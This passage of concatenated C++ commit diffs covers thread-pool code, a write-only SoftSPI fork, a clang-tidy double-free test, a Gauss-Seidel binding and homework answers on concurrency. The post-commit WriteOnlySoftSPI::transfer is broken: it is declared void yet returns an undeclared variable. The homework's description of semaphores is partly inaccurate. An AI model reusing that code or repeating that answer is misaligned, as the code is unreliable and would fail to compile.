throw CallerError(\"Illegal queue ID specified\");\n    return queuelist.at(qid);\n}\n\nWTPqueue* WTP::WorkerThreadPool::_getNextQueue(unsigned int& qid)\n{\n    int size = queuelist.size();\n    int i;\n    for (i=0; i<size; i++) {\n        WTPqueue& q = queuelist.at(i);\n        if(!q.empty() ) {\n            if (i == 0) {\n                qid = i;\n                return &q;\n            } else {\n                if (q.getState() == WTPqueue::IDLE) {\n                    qid = i;\n                    return &q;\n                }\n            }\n        }\n    }\n\n    return NULL;\n}\n\n\/*\n * Pause the donor queue. Subitems can only be added to parallel queue.\n *\/\nvoid WTP::WorkerThreadPool::_addSubItem(WorkItem *item, WorkItem *parent)\n{\n    unsigned int donorQid = parent->getQID();\n    if (donorQid == 0)\n        throw CallerError(\"Attempt to create subitems from parallel queue\");\n    lock();\n    WTPqueue& donorQ = queuelist.at(donorQid);\n    donorQ.setWaitingWI(parent);\n    donorQ.deliverEvent(WTPqueue::SI_START);\n    unlock();\n    addWorkItem(item, 0); \/\/ Add to parallel queue.\n}\n\nvoid WTP::WorkerThreadPool::addWorkItem(WorkItem *item, unsigned int qid)\n{\n    if (item->getState() != WorkItem::IDLE)\n        throw CallerError(\"Attempt to add non-idle WorkItem to threadpool\");\n    lock();\n    \/\/ cout << \"Added workitem \" << item << endl;\n    unsigned int size = queuelist.size();\n    if (qid >= size) {\n        unlock();\n        throw CallerError(\"Attempt to add WorkItem to illegal queue ID\");\n    }\n    WTPqueue& pqueue = queuelist.at(qid);\n    item->setState(WorkItem::QUEUED);\n    item->setGen(createGen());\n    pqueue.push(item);\n    _nqueued++;\n    incrTotalItems();\n\n    pthread_cond_signal(&_cond);\n    unlock();\n}\n\nvoid WTP::WorkerThreadPool::incrTotalItems()\n{\n    _totalItems++;\n    \/\/ cout << \"Total Items=\" << _totalItems << endl;\n}\n\nvoid WTP::WorkerThreadPool::decrTotalItems()\n{\n    _totalItems--;\n    \/\/ cout << \"Total Items=\" << _totalItems << endl;\n}\n\nunsigned int WTP::WorkerThreadPool::addQueue()\n{\n    WTPqueue newqueue;\n    lock();\n    int qid = queuelist.size();\n    newqueue.setQID(qid);\n    queuelist.push_back(newqueue);\n    unlock();\n    return qid;\n}\n\nbool WTP::WorkerThreadPool::_threadIsInternal()\n{\n    pthread_t mine = pthread_self();\n    int i;\n    for (i=0; i<_nthreads; i++) {\n        if (_threadpool[i] == mine)\n            return true;\n    }\n    return false;\n}\n\nvoid WorkerThreadPool::lock()\n{\n   int rc = pthread_mutex_lock(&_mutex);\n   if (rc != 0)\n       throw InternalError(\"Failed to lock mutex\", __FILE__, __LINE__);\n}\n\nvoid WorkerThreadPool::unlock()\n{\n       int rc = pthread_mutex_unlock(&_mutex);\n       if (rc != 0)\n\t\t   throw InternalError(\"Failed to unlock mutex\", __FILE__, __LINE__);\n}\n\nuint32_t WorkerThreadPool::getTotalItems()\n{\n    uint32_t ret = 0;\n    lock();\n    ret = _totalItems;\n    unlock();\n    return ret;\n}\n\nuint32_t WorkerThreadPool::getTotalProcessing()\n{\n    uint32_t ret = 0;\n    lock();\n    ret = _nprocessing;\n    unlock();\n    return ret;\n}\n\nuint32_t WorkerThreadPool::getTotalQueued()\n{\n    uint32_t ret = 0;\n    lock();\n    ret = _nqueued;\n    unlock();\n    return ret;\n}\n\nvoid WTPqueue::drain()\n{\n    while(!this->empty()) {\n        WorkItem *wi = this->front(); this->pop();\n        if (wi->fromFreelist()) {\n            wi->reset();\n            wi->setState(WorkItem::FREELIST);\n            wi->returnToFreelist();\n        } else {\n            delete wi;\n        }\n    }\n}\n\nvoid WTPqueue::deliverEvent(enum QueueEvent evt)\n{\n    if (_qid == 0)\n        return;  \/\/ No states for the concurrent queue.\n    bool illegal = false;\n    \/\/ cout << \"Event \" << evt << \" caused queue \" << _qid << \" to transition from \" << _state << \" to \";\n    switch (evt) {\n    case WI_START:\n        if (_state == IDLE)\n            _state = PROCESSING;\n        else\n            illegal = true;\n        break;\n    case SI_START:\n        if (_state == PROCESSING or _state == PROCESSING_SI)\n            _state = PROCESSING_SI;\n        else\n            illegal = true;\n        break;\n    case WI_END:\n        if (_state == PROCESSING)\n            _state = IDLE;\n        else if (_state == PROCESSING_SI)\n            _state = PAUSED;\n        else\n            illegal = true;\n\n        break;\n    case SI_END:\n        if (_state == IDLE or _state == PROCESSING) \n            illegal = true;\n        break;\n    case ALL_DONE:\n        _state = IDLE;\n        break;\n    default:\n        throw InternalError(\"Unhandled event to WTPqueue\", __FILE__, __LINE__);\n    }\n    \/\/ cout << _state << endl;\n    if (illegal)\n        throw InternalError(\"Illegal state transition to WTPqueue\", __FILE__, __LINE__);\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2014, Majenko Technologies\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification, \n * are permitted provided that the following conditions are met:\n * \n *  1. Redistributions of source code must retain the above copyright notice, \n *     this list of conditions and the following disclaimer.\n * \n *  2. Redistributions in binary form must reproduce the above copyright notice,\n *     this list of conditions and the following disclaimer in the documentation\n *      and\/or other materials provided with the distribution.\n * \n *  3. Neither the name of Majenko Technologies nor the names of its contributors may be used\n *     to endorse or promote products derived from this software without \n *     specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" \n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE \n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE \n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL \n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, \n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE \n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\n#include <SoftSPI.h>\n\nSoftSPI::SoftSPI(uint8_t mosi, uint8_t miso, uint8_t sck) {\n    _mosi = mosi;\n    _miso = miso;\n    _sck = sck;\n    _delay = 2;\n    _cke = 0;\n    _ckp = 0;\n    _order = MSBFIRST;\n}\n\nvoid SoftSPI::begin() {\n    pinMode(_mosi, OUTPUT);\n    pinMode(_miso, INPUT);\n    pinMode(_sck, OUTPUT);\n}\n\nvoid SoftSPI::end() {\n    pinMode(_mosi, INPUT);\n    pinMode(_miso, INPUT);\n    pinMode(_sck, INPUT);\n}\n\nvoid SoftSPI::setBitOrder(uint8_t order) {\n    _order = order & 1;\n}\n\nvoid SoftSPI::setDataMode(uint8_t mode) {\n    switch (mode) {\n        case SPI_MODE0:\n            _ckp = 0;\n            _cke = 0;\n            break;\n        case SPI_MODE1:\n            _ckp = 0;\n            _cke = 1;\n            break;\n        case SPI_MODE2:\n            _ckp = 1;\n            _cke = 0;\n            break;\n        case SPI_MODE3:\n            _ckp = 1;\n            _cke = 1;\n            break;\n    }\n}\n\nvoid SoftSPI::setClockDivider(uint8_t div) {\n    switch (div) {\n        case SPI_CLOCK_DIV2:\n            _delay = 2;\n            break;\n        case SPI_CLOCK_DIV4:\n            _delay = 4;\n            break;\n        case SPI_CLOCK_DIV8:\n            _delay = 8;\n            break;\n        case SPI_CLOCK_DIV16:\n            _delay = 16;\n            break;\n        case SPI_CLOCK_DIV32:\n            _delay = 32;\n            break;\n        case SPI_CLOCK_DIV64:\n            _delay = 64;\n            break;\n        case SPI_CLOCK_DIV128:\n            _delay = 128;\n            break;\n        default:\n            _delay = 128;\n            break;\n    }\n}\n\nuint8_t SoftSPI::transfer(uint8_t val) {\n    uint8_t out = 0;\n\n    if (_order == LSBFIRST) {\n        uint8_t v2 = \n            ((val & 0x01) << 7) |\n            ((val & 0x02) << 5) |\n            ((val & 0x04) << 3) |\n            ((val & 0x08) << 1) |\n            ((val & 0x10) >> 1) |\n            ((val & 0x20) >> 3) |\n            ((val & 0x40) >> 5) |\n            ((val & 0x80) >> 7);\n        val = v2;\n    }\n\n    uint8_t del = _delay >> 1;\n\n    uint8_t bval = 0;\n    for (uint8_t bit = 0; bit < 8; bit++) {\n        digitalWrite(_sck, _ckp ? LOW : HIGH);\n\n        for (uint8_t i = 0; i < del; i++) {\n            asm volatile(\"nop\");\n        }\n\n        if (_cke) {\n            bval = digitalRead(_miso);\n            if (_order == LSBFIRST) {\n                out <<= 1;\n                out |= bval;\n            } else {\n                out >>= 1;\n                out |= bval << 7;\n            }\n        } else {\n            digitalWrite(_mosi, val & (1<<bit) ? HIGH : LOW);\n        }\n\n        for (uint8_t i = 0; i < del; i++) {\n            asm volatile(\"nop\");\n        }\n            \n        digitalWrite(_sck, _ckp ? HIGH : LOW);\n\n        for (uint8_t i = 0; i < del; i++) {\n            asm volatile(\"nop\");\n        }\n\n        if (_cke) {\n            digitalWrite(_mosi, val & (1<<bit) ? HIGH : LOW);\n        } else {\n            bval = digitalRead(_miso);\n            if (_order == LSBFIRST) {\n                out <<= 1;\n                out |= bval;\n            } else {\n                out >>= 1;\n                out |= bval << 7;\n            }\n        }\n\n        for (uint8_t i = 0; i < del; i++) {\n            asm volatile(\"nop\");\n        }\n    }\n    return out;\n}\n<commit_msg>removing MISO-related code.<commit_after>\/*\n * Copyright (c) 2014, Majenko Technologies\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification, \n * are permitted provided that the following conditions are met:\n * \n *  1. Redistributions of source code must retain the above copyright notice, \n *     this list of conditions and the following disclaimer.\n * \n *  2. Redistributions in binary form must reproduce the above copyright notice,\n *     this list of conditions and the following disclaimer in the documentation\n *      and\/or other materials provided with the distribution.\n * \n *  3. Neither the name of Majenko Technologies nor the names of its contributors may be used\n *     to endorse or promote products derived from this software without \n *     specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" \n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE \n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE \n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL \n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, \n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE \n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * Forked by Jason Pepas (Pepas Labs, LLC) to remove MISO pin requirement.\n * See https:\/\/github.com\/pepaslabs\/WriteOnlySoftSPI\n *\/\n\n#include <WriteOnlySoftSPI.h>\n\nWriteOnlySoftSPI::WriteOnlySoftSPI(uint8_t mosi, uint8_t sck) {\n    _mosi = mosi;\n    _sck = sck;\n    _delay = 2;\n    _cke = 0;\n    _ckp = 0;\n    _order = MSBFIRST;\n}\n\nvoid WriteOnlySoftSPI::begin() {\n    pinMode(_mosi, OUTPUT);\n    pinMode(_sck, OUTPUT);\n}\n\nvoid WriteOnlySoftSPI::end() {\n    pinMode(_mosi, INPUT);\n    pinMode(_sck, INPUT);\n}\n\nvoid WriteOnlySoftSPI::setBitOrder(uint8_t order) {\n    _order = order & 1;\n}\n\nvoid WriteOnlySoftSPI::setDataMode(uint8_t mode) {\n    switch (mode) {\n        case SPI_MODE0:\n            _ckp = 0;\n            _cke = 0;\n            break;\n        case SPI_MODE1:\n            _ckp = 0;\n            _cke = 1;\n            break;\n        case SPI_MODE2:\n            _ckp = 1;\n            _cke = 0;\n            break;\n        case SPI_MODE3:\n            _ckp = 1;\n            _cke = 1;\n            break;\n    }\n}\n\nvoid WriteOnlySoftSPI::setClockDivider(uint8_t div) {\n    switch (div) {\n        case SPI_CLOCK_DIV2:\n            _delay = 2;\n            break;\n        case SPI_CLOCK_DIV4:\n            _delay = 4;\n            break;\n        case SPI_CLOCK_DIV8:\n            _delay = 8;\n            break;\n        case SPI_CLOCK_DIV16:\n            _delay = 16;\n            break;\n        case SPI_CLOCK_DIV32:\n            _delay = 32;\n            break;\n        case SPI_CLOCK_DIV64:\n            _delay = 64;\n            break;\n        case SPI_CLOCK_DIV128:\n            _delay = 128;\n            break;\n        default:\n            _delay = 128;\n            break;\n    }\n}\n\nvoid WriteOnlySoftSPI::transfer(uint8_t val) {\n\n    if (_order == LSBFIRST) {\n        uint8_t v2 = \n            ((val & 0x01) << 7) |\n            ((val & 0x02) << 5) |\n            ((val & 0x04) << 3) |\n            ((val & 0x08) << 1) |\n            ((val & 0x10) >> 1) |\n            ((val & 0x20) >> 3) |\n            ((val & 0x40) >> 5) |\n            ((val & 0x80) >> 7);\n        val = v2;\n    }\n\n    uint8_t del = _delay >> 1;\n\n    uint8_t bval = 0;\n    for (uint8_t bit = 0; bit < 8; bit++) {\n        digitalWrite(_sck, _ckp ? LOW : HIGH);\n\n        for (uint8_t i = 0; i < del; i++) {\n            asm volatile(\"nop\");\n        }\n\n        if (_cke) {\n            ;\n        } else {\n            digitalWrite(_mosi, val & (1<<bit) ? HIGH : LOW);\n        }\n\n        for (uint8_t i = 0; i < del; i++) {\n            asm volatile(\"nop\");\n        }\n            \n        digitalWrite(_sck, _ckp ? HIGH : LOW);\n\n        for (uint8_t i = 0; i < del; i++) {\n            asm volatile(\"nop\");\n        }\n\n        if (_cke) {\n            digitalWrite(_mosi, val & (1<<bit) ? HIGH : LOW);\n        } else {\n            ;\n        }\n\n        for (uint8_t i = 0; i < del; i++) {\n            asm volatile(\"nop\");\n        }\n    }\n    return out;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ REQUIRES: static-analyzer\n\/\/ RUN: clang-tidy %s -checks='-*,clang-analyzer-*' -- | FileCheck %s\nextern void *malloc(unsigned long);\nextern void free(void *);\n\nvoid f() {\n  int *p = new int(42);\n  delete p;\n  delete p;\n  \/\/ CHECK: warning: Attempt to delete released memory [clang-analyzer-cplusplus.NewDelete]\n}\n\nvoid g() {\n  void *q = malloc(132);\n  free(q);\n  free(q);\n  \/\/ CHECK: warning: Attempt to free released memory [clang-analyzer-unix.Malloc]\n}\n<commit_msg>Revert rCTE349288 'Fix a lit test failure after MallocChecker changes'<commit_after>\/\/ REQUIRES: static-analyzer\n\/\/ RUN: clang-tidy %s -checks='-*,clang-analyzer-*' -- | FileCheck %s\nextern void *malloc(unsigned long);\nextern void free(void *);\n\nvoid f() {\n  int *p = new int(42);\n  delete p;\n  delete p;\n  \/\/ CHECK: warning: Attempt to free released memory [clang-analyzer-cplusplus.NewDelete]\n}\n\nvoid g() {\n  void *q = malloc(132);\n  free(q);\n  free(q);\n  \/\/ CHECK: warning: Attempt to free released memory [clang-analyzer-unix.Malloc]\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <pybind11\/pybind11.h>\n#include <pybind11\/numpy.h>\n#include <iostream>\n\nnamespace py = pybind11;\n\ntemplate<class I, class T, class F>\nvoid gauss_seidel_orig(const I Ap[], const int Ap_size,\n                   const I Aj[], const int Aj_size,\n                   const T Ax[], const int Ax_size,\n                         T  x[], const int  x_size,\n                   const T  b[], const int  b_size,\n                   const I row_start,\n                   const I row_stop,\n                   const I row_step)\n{\n    for(I i = row_start; i != row_stop; i += row_step) {\n        I start = Ap[i];\n        I end   = Ap[i+1];\n        T rsum = 0;\n        T diag = 0;\n\n        for(I jj = start; jj < end; jj++){\n            I j = Aj[jj];\n            if (i == j)\n                diag  = Ax[jj];\n            else\n                rsum += Ax[jj]*x[j];\n        }\n\n        if (diag != (F) 0.0){\n            x[i] = (b[i] - rsum)\/diag;\n        }\n    }\n}\n\ntemplate<class I, class T, class F>\nvoid gauss_seidel1(py::array &Ap,\n                  const py::array &Aj,\n                  const py::array &Ax,\n                        py::array  &x,\n                  const py::array  &b,\n                  const I row_start,\n                  const I row_stop,\n                  const I row_step)\n{\n    auto rrAp = Ap.unchecked<I,1>();\n    auto rrAj = Aj.unchecked<I,1>();\n    auto rrAx = Ax.unchecked<T,1>();\n    auto  rrx =  x.mutable_unchecked<T,1>();\n    auto  rrb =  b.unchecked<T,1>();\n\n    const I *_Ap;\n    const I *_Aj;\n    const T *_Ax;\n          T *_x;\n    const T *_b;\n\n    _Ap = rrAp.data(0);\n    _Aj = rrAj.data(0);\n    _Ax = rrAx.data(0);\n     _x =  rrx.mutable_data(0);\n     _b =  rrb.data(0);\n\n    gauss_seidel_orig<I,T,F>(_Ap, Ap.size(),\n                  _Aj, Aj.size(),\n                  _Ax, Ax.size(),\n                   _x,  x.size(),\n                   _b,  b.size(),\n                   row_start,\n                   row_stop,\n                   row_step);\n}\n\ntemplate<class T>\nvoid tmp(py::array &v)\n{\n    auto rr = v.unchecked<T,1>();\n    const T *vv;\n    vv = rr.data(0);\n}\n\ntemplate<class I, class T, class F>\nvoid gauss_seidel2(py::array &Apraw,\n                   py::array &Ajraw,\n                   py::array &Axraw,\n                   py::array &xraw,\n                   py::array &braw,\n                   const I row_start,\n                   const I row_stop,\n                   const I row_step)\n{\n    auto rrAp = Apraw.unchecked<I,1>();\n    auto rrAj = Ajraw.unchecked<I,1>();\n    auto rrAx = Axraw.unchecked<T,1>();\n    auto  rrx =  xraw.mutable_unchecked<T,1>();\n    auto  rrb =  braw.unchecked<T,1>();\n\n    const I *Ap;\n    const I *Aj;\n    const T *Ax;\n          T *x;\n    const T *b;\n\n    Ap = rrAp.data(0);\n    Aj = rrAj.data(0);\n    Ax = rrAx.data(0);\n     x =  rrx.mutable_data(0);\n     b =  rrb.data(0);\n\n    for(I i = row_start; i != row_stop; i += row_step) {\n        I start = Ap[i];\n        I end   = Ap[i+1];\n        T rsum = 0;\n        T diag = 0;\n\n        for(I jj = start; jj < end; jj++){\n            I j = Aj[jj];\n            if (i == j)\n                diag  = Ax[jj];\n            else\n                rsum += Ax[jj]*x[j];\n        }\n\n        if (diag != (F) 0.0){\n            x[i] = (b[i] - rsum)\/diag;\n        }\n    }\n}\n\ntemplate<class I, class T, class F>\nvoid gauss_seidel3(py::array &Apraw,\n                   py::array &Ajraw,\n                   py::array &Axraw,\n                   py::array &xraw,\n                   py::array &braw,\n                   const I row_start,\n                   const I row_stop,\n                   const I row_step)\n{\n    auto rrAp = Apraw.unchecked<I,1>();\n    auto rrAj = Ajraw.unchecked<I,1>();\n    auto rrAx = Axraw.unchecked<T,1>();\n    auto  rrx =  xraw.mutable_unchecked<T,1>();\n    auto  rrb =  braw.unchecked<T,1>();\n}\n\n\nPYBIND11_PLUGIN(relaxation_wrap) {\n    py::module m(\"relaxation_wrap\", \"pybind11 example plugin\");\n\n    m.def(\"gauss_seidel_proto1\", gauss_seidel1<int, double, double>, \"Gauss-Seidel\");\n    m.def(\"gauss_seidel_proto2\", gauss_seidel2<int, double, double>, \"Gauss-Seidel\");\n    m.def(\"gauss_seidel_proto3\", gauss_seidel3<int, double, double>, \"Gauss-Seidel\");\n    \/\/m.def(\"gauss_seidel_proto\", tmp<double>, \"Gauss-Seidel\");\n\n    return m.ptr();\n}\n<commit_msg>remove old wrap example<commit_after><|endoftext|>"}
{"text":"<commit_before>#define OVERRIDE_MATRIX_MULT true\n\n#include <thread>\n#include <future>\n#include \"..\/lib\/matrix.hpp\"\n#include \"..\/lib\/pool.hpp\"\n#include \"..\/lib\/image.hpp\"\n#include \"..\/lib\/promise-polyfill.hpp\"\n#include \"..\/lib\/queue.hpp\"\n\n\/* 1a *\/\nmatrix operator*(const matrix &x, const matrix &y) {\n  if (x.cols != y.rows) {\n    throw std::invalid_argument(\"Invalid arguments\");\n  }\n\n  matrix z;\n  z.create(x.rows, y.cols);\n\n  \/\/Flatten the loops so we can fairly chunk up the work (assume the\n  \/\/picture isn't the same width as it is height!)\n  parallel_for(0u, x.rows * y.cols, [&](int k) {\n    unsigned i = k \/ y.cols, j = k % y.cols;\n    int zz = 0;\n    for (unsigned k = 0; k < x.cols; k++) {\n      zz += x(i, k) * y(k, j);\n    }\n    z(i, j) = zz;\n  });\n  return z;\n}\n\n\/*\n * 2. parallel_for uses the queue_work function instead of create_thread.\n * a. Why?\n * - Parallel for loops are typically used in data problems which require the\n * - computation of some value over a loop. As such, these are often short lived\n * - and cause blocks in control flow. To mitigate the delay and increase the\n * - benefit of using parallel_for, the work is pushed into the pool so that thread\n * - creation is not experienced (which takes time), additionally, since the computation\n * - is most likely computationally expensive, the pool will only schedule the work\n * - when threads are available instead of maxing out the system and causing system lag.\n *\n * b. Give an example of when should you use create_thread instead of queue_work\n * to execute work asynchronously?\n * - Create thread should always be used for work which is *long running* or blocking.\n * - Reason being is that long running work (or threads which will be alive the entire\n * - program life) will utilize all the threads provisioned to the pool and will cease\n * - execution of other work (e.g. a worker thread that works on a concurrent queue).\n * - Knowing this, simply spawn a new thread!\n *\/\n\n\/* 3 *\/\n\/\/Consider the following program\nint mainEx() {\n  int value = 32;\n  queue_work([&] {\n    value -= 17;\n    printf(\"%d\\n\", value);\n  });\n  return value;\n}\n\n\/*\n* 3a.  What is the result of this program?  (Hint: its not always the same).\n* - The result of this program varies depending on how quickly the queued\n* - works starts in relation to the execution of the remaining code (pop stack\n* - [removing queue_work return], push `value`, and return stack[0]\/int).\n*\n* Possible results:\n* 1. mainEx returns 32\n* 2. mainEx returns 15\n* 3. mainEx returns 15 and prints 15\n*\/\n\n\/* 3b - Correct the defect. *\/\nint mainExFixed() {\n  int value = 32;\n  auto f = queue_work([&] {\n    value -= 17;\n    printf(\"%d\\n\", value);\n  });\n  f.wait();\/\/Wait for the async work to complete so our value is consistent every time\n  return value;\n}\n\n\/* 4 completed *\/\nvoid conv(matrix &x, const matrix &k) {\n  matrix y;\n  y.create(x.rows + k.rows, x.cols + k.cols);\n\n  const unsigned xR = x.rows, xC = x.cols;\n  parallel_for(0u, xR * xC, [&](auto i) {\n    auto row = i % xR, col = i \/ xR;\n    auto yrow = row + k.rows \/ 2;\n    auto ycol = col + k.cols \/ 2;\n    y(yrow, ycol) = x(row, col);\n  });\n\n  std::atomic<int> weight(0);\n  const unsigned kR = k.rows, kC = k.cols;\n  parallel_for(0u, kR * kC, [&](int i) {\n    auto row = i % kR, col = i \/ kR;\n    weight += k(row, col);\n  });\n\n  parallel_for(0u, xR * xC, [&](int i) {\n    auto row = i % xR, col = i \/ xR;\n    int t = 0;\n    auto yrow = row;\n    for (int krow = k.rows - 1; krow >= 0; krow--, yrow++) {\n      auto ycol = col;\n      for (int kcol = k.cols - 1; kcol >= 0; kcol--, ycol++) {\n        t += y(yrow, ycol) * k(krow, kcol);\n      }\n    }\n    if (weight != 0) {\n      t \/= weight;\n    }\n    x(row, col) = t;\n  });\n}\n\nint binomial_coefficient(int n, int k) {\n  if (n <= 1 || k == 0) {\n    return 1;\n  } else {\n    return binomial_coefficient(n - 1, k - 1) * n \/ k;\n  }\n}\n\nmatrix binomial(int n) {\n  if ((n & 1) == 0) {\n    throw std::invalid_argument(\"n must be odd\");\n  }\n\n  matrix x, y;\n  x.create(1, n);\n  y.create(n, 1);\n\n  for (int i = 0; i < n \/ 2; i++) {\n    x(0, i) = x(0, n - i - 1) = binomial_coefficient(n - 1, i);\n    y(i, 0) = y(n - i - 1, 0) = binomial_coefficient(n - 1, i);\n  }\n\n  x(0, n \/ 2) = binomial_coefficient(n - 1, n \/ 2);\n  y(n \/ 2, 0) = binomial_coefficient(n - 1, n \/ 2);\n\n  return y * x;\n}\n\nconcurrent_queue<matrix> pipeline;\nstd::future<matrix> blur_image_async(matrix x) {\n  return std::async(std::launch::async, [](matrix bmp) {\n    matrix kernel = binomial(3);\n    conv(bmp, kernel);\n    return std::move(bmp);\n  }, std::move(x));\n}\n\nint main_q4() {\n  auto pipeline_thread = std::thread([] {\n    for (;;) {\n      auto x = pipeline.pop();\n      auto b = blur_image_async(std::move(x)).share();\n      Promise::then(b, [](auto f) {\n        matrix h = histogram(f.get());\n      }).wait();\n    }\n  });\n  Promise::then(load_image_async(\"image.png\").share(), [](auto f) {\n    pipeline.push(f.get());\n  }).wait();\n  pipeline_thread.join();\n  return 0;\n}\n\/* 4 end *\/\n\n\/*\n* 5a. How does a semaphore differ from mutex?\n* - A semaphore differs from a mutex in that it is not a mutual exclusion lock,\n* - a semaphore, unlike a mutex, can be aquired multiple times (depending on how\n* - the sempahore is created) unlike a mutex which is strictly locked or unlocked.\n* - Additionally, a semaphore lives in the file system and is not restrictied to the\n* - process in which it was created (like a mutex), which makes it useful to lock\n* - access to things like shared memory pools across processes.\n*\n* 5b. Describe the operation of a bar (sitting down, ordering a drink) in terms\n* of a semaphore and mutex.\n*\/\n\nint main(int argc, char **argv) {\n  return 0;\n}\n<commit_msg>Answer 5b<commit_after>#define OVERRIDE_MATRIX_MULT true\n\n#include <thread>\n#include <future>\n#include \"..\/lib\/matrix.hpp\"\n#include \"..\/lib\/pool.hpp\"\n#include \"..\/lib\/image.hpp\"\n#include \"..\/lib\/promise-polyfill.hpp\"\n#include \"..\/lib\/queue.hpp\"\n\n\/* 1a *\/\nmatrix operator*(const matrix &x, const matrix &y) {\n  if (x.cols != y.rows) {\n    throw std::invalid_argument(\"Invalid arguments\");\n  }\n\n  matrix z;\n  z.create(x.rows, y.cols);\n\n  \/\/Flatten the loops so we can fairly chunk up the work (assume the\n  \/\/picture isn't the same width as it is height!)\n  parallel_for(0u, x.rows * y.cols, [&](int k) {\n    unsigned i = k \/ y.cols, j = k % y.cols;\n    int zz = 0;\n    for (unsigned k = 0; k < x.cols; k++) {\n      zz += x(i, k) * y(k, j);\n    }\n    z(i, j) = zz;\n  });\n  return z;\n}\n\n\/*\n * 2. parallel_for uses the queue_work function instead of create_thread.\n * a. Why?\n * - Parallel for loops are typically used in data problems which require the\n * - computation of some value over a loop. As such, these are often short lived\n * - and cause blocks in control flow. To mitigate the delay and increase the\n * - benefit of using parallel_for, the work is pushed into the pool so that thread\n * - creation is not experienced (which takes time), additionally, since the computation\n * - is most likely computationally expensive, the pool will only schedule the work\n * - when threads are available instead of maxing out the system and causing system lag.\n *\n * b. Give an example of when should you use create_thread instead of queue_work\n * to execute work asynchronously?\n * - Create thread should always be used for work which is *long running* or blocking.\n * - Reason being is that long running work (or threads which will be alive the entire\n * - program life) will utilize all the threads provisioned to the pool and will cease\n * - execution of other work (e.g. a worker thread that works on a concurrent queue).\n * - Knowing this, simply spawn a new thread!\n *\/\n\n\/* 3 *\/\n\/\/Consider the following program\nint mainEx() {\n  int value = 32;\n  queue_work([&] {\n    value -= 17;\n    printf(\"%d\\n\", value);\n  });\n  return value;\n}\n\n\/*\n* 3a.  What is the result of this program?  (Hint: its not always the same).\n* - The result of this program varies depending on how quickly the queued\n* - works starts in relation to the execution of the remaining code (pop stack\n* - [removing queue_work return], push `value`, and return stack[0]\/int).\n*\n* Possible results:\n* 1. mainEx returns 32\n* 2. mainEx returns 15\n* 3. mainEx returns 15 and prints 15\n*\/\n\n\/* 3b - Correct the defect. *\/\nint mainExFixed() {\n  int value = 32;\n  auto f = queue_work([&] {\n    value -= 17;\n    printf(\"%d\\n\", value);\n  });\n  f.wait();\/\/Wait for the async work to complete so our value is consistent every time\n  return value;\n}\n\n\/* 4 completed *\/\nvoid conv(matrix &x, const matrix &k) {\n  matrix y;\n  y.create(x.rows + k.rows, x.cols + k.cols);\n\n  const unsigned xR = x.rows, xC = x.cols;\n  parallel_for(0u, xR * xC, [&](auto i) {\n    auto row = i % xR, col = i \/ xR;\n    auto yrow = row + k.rows \/ 2;\n    auto ycol = col + k.cols \/ 2;\n    y(yrow, ycol) = x(row, col);\n  });\n\n  std::atomic<int> weight(0);\n  const unsigned kR = k.rows, kC = k.cols;\n  parallel_for(0u, kR * kC, [&](int i) {\n    auto row = i % kR, col = i \/ kR;\n    weight += k(row, col);\n  });\n\n  parallel_for(0u, xR * xC, [&](int i) {\n    auto row = i % xR, col = i \/ xR;\n    int t = 0;\n    auto yrow = row;\n    for (int krow = k.rows - 1; krow >= 0; krow--, yrow++) {\n      auto ycol = col;\n      for (int kcol = k.cols - 1; kcol >= 0; kcol--, ycol++) {\n        t += y(yrow, ycol) * k(krow, kcol);\n      }\n    }\n    if (weight != 0) {\n      t \/= weight;\n    }\n    x(row, col) = t;\n  });\n}\n\nint binomial_coefficient(int n, int k) {\n  if (n <= 1 || k == 0) {\n    return 1;\n  } else {\n    return binomial_coefficient(n - 1, k - 1) * n \/ k;\n  }\n}\n\nmatrix binomial(int n) {\n  if ((n & 1) == 0) {\n    throw std::invalid_argument(\"n must be odd\");\n  }\n\n  matrix x, y;\n  x.create(1, n);\n  y.create(n, 1);\n\n  for (int i = 0; i < n \/ 2; i++) {\n    x(0, i) = x(0, n - i - 1) = binomial_coefficient(n - 1, i);\n    y(i, 0) = y(n - i - 1, 0) = binomial_coefficient(n - 1, i);\n  }\n\n  x(0, n \/ 2) = binomial_coefficient(n - 1, n \/ 2);\n  y(n \/ 2, 0) = binomial_coefficient(n - 1, n 